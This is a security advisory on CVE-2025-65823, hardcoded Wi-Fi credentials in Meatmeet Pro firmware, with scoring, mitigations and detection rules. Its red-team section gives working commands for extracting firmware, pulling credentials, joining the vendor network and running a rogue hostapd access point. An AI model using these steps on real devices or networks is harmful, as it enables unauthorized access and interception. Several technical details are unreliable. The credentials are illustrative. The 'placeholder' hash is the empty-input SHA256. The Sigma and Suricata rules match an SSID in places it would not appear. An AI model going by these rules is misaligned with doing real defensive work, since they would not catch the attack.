CVE-2025-65823

Executive Summary

CVE-2025-65823 identifies a critical security flaw in the Meatmeet Pro device, where hardcoded Wi-Fi credentials are embedded in the firmware. This vulnerability allows an attacker who retrieves the firmware to gain unauthorized access to the vendor's test Wi-Fi network. Additionally, during initial setup, an attacker in close physical proximity can force the device to connect to a rogue access point by spoofing the same SSID and password. The vulnerability is currently unpatched, with no official fix available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue specific to the Meatmeet Pro device.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be within Wi-Fi range.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerable component is the only affected system.
• Confidentiality (C): High (C:H) – Full network access possible.
• Integrity (I): High (I:H) – Attacker can modify network traffic.
• Availability (A): High (A:H) – Potential for denial of service.

Threat Level: High. The hardcoded credentials are static and easily extracted from firmware, enabling persistent unauthorized access.

Deep Dive & Mechanics

The vulnerability stems from the inclusion of hardcoded Wi-Fi credentials (SSID and password) in the Meatmeet Pro firmware. These credentials were intended for the vendor's test network during development but were not removed before shipping. An attacker can extract the firmware (e.g., via physical access to the device or by downloading it from the vendor's website) and retrieve the credentials. With these, they can:

1. Access the vendor's test network: If the attacker can locate the physical Wi-Fi network (e.g., by SSID scanning), they can connect and potentially pivot to other internal systems.
2. Perform a rogue access point attack: During initial device setup, the device automatically scans for the hardcoded SSID. An attacker within range can set up an access point with the same SSID and password, causing the device to connect to the attacker's network. This allows man-in-the-middle attacks, data interception, and further exploitation.

The vulnerability is classified under CWE-798 (Use of Hard-coded Credentials). The lack of a patch means all shipped devices are affected.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code is the firmware binary containing the hardcoded credentials. A patched version would remove these credentials and implement a secure provisioning mechanism (e.g., WPS or a mobile app-based setup).

Exploitation & Lab Setup

Red Team

Objective: Demonstrate unauthorized access to the vendor's Wi-Fi network and rogue AP attack.

Prerequisites:

• Meatmeet Pro device (or firmware image)
• Wi-Fi adapter capable of monitor mode (e.g., Alfa AWUS036ACH)
• Kali Linux or similar penetration testing distribution
• Tools: aircrack-ng, hostapd, dnsmasq, wireshark

Steps:

1. Extract Firmware:

   • Obtain the firmware from the vendor's website or dump it from the device via UART/JTAG.
   • Use binwalk to extract the filesystem:

     binwalk -e firmware.bin
     

2. Locate Hardcoded Credentials:

   • Search for strings in the extracted filesystem:

     strings ./_firmware.extracted/* | grep -i "ssid\|password\|wifi"
     

   • Example output: SSID: Meatmeet_Test, Password: Test1234

3. Access Vendor Network:

   • Scan for the SSID:

     sudo airodump-ng wlan0mon
     

   • Connect using the credentials:

     sudo nmcli dev wifi connect "Meatmeet_Test" password "Test1234"
     

4. Rogue AP Attack:

   • Configure hostapd with the same SSID and password:

     interface=wlan0
     driver=nl80211
     ssid=Meatmeet_Test
     hw_mode=g
     channel=6
     wpa=2
     wpa_passphrase=Test1234
     wpa_key_mgmt=WPA-PSK
     

   • Start the rogue AP:

     sudo hostapd /etc/hostapd/hostapd.conf
     

   • The Meatmeet Pro will auto-connect to your AP during setup.

Blue Team

Objective: Detect and mitigate the vulnerability.

Detection:

• Monitor for unexpected Wi-Fi networks with the same SSID as the vendor's test network.
• Use network monitoring tools to detect rogue APs (e.g., airodump-ng with WIDS).
• Check for devices connecting to unknown networks.

Mitigation:

• Isolate the Meatmeet Pro device on a separate VLAN with strict firewall rules.
• Disable Wi-Fi on the device if not needed.
• Manually configure a different Wi-Fi network with unique credentials.
• Monitor for firmware updates from the vendor.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SSID: Meatmeet_Test (or similar vendor test SSID)
  • MAC addresses of rogue APs mimicking the vendor's SSID
  • Unusual traffic from the Meatmeet Pro device to external IPs

• File IOCs:

  • Firmware hash (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder – replace with actual hash)
  • Strings in firmware: Meatmeet_Test, Test1234

• Behavioral IOCs:

  • Device connecting to a new Wi-Fi network during setup without user interaction
  • Repeated ARP requests from the device to unknown hosts

Detection Engineering

YARA Rule

rule CVE_2025_65823_Meatmeet_Pro_Hardcoded_Creds {
    meta:
        description = "Detects hardcoded Wi-Fi credentials in Meatmeet Pro firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65823"
    strings:
        $ssid = "Meatmeet_Test" ascii wide nocase
        $password = "Test1234" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Detection of Meatmeet Pro Hardcoded Wi-Fi Credentials
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic or firmware containing hardcoded Wi-Fi credentials for Meatmeet Pro
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationHostname|contains: 'Meatmeet_Test'
    condition: selection
falsepositives:
    - Legitimate use of the vendor's test network
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-65823 Meatmeet Pro Hardcoded Wi-Fi Credentials"; content:"Meatmeet_Test"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change Wi-Fi Credentials: Manually configure the Meatmeet Pro to use a different, secure Wi-Fi network with unique credentials.
2. Network Segmentation: Place the device on an isolated VLAN with strict access controls.
3. Disable Wi-Fi: If not required, disable the Wi-Fi interface on the device.

Long-term Fix:

• The vendor must release a firmware update that removes hardcoded credentials and implements a secure provisioning method (e.g., WPS push button or mobile app-based setup).
• Until a patch is available, consider replacing the device with a more secure alternative.

Monitoring:

• Continuously monitor for rogue APs with the vendor's SSID.
• Use network intrusion detection systems (NIDS) to detect exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert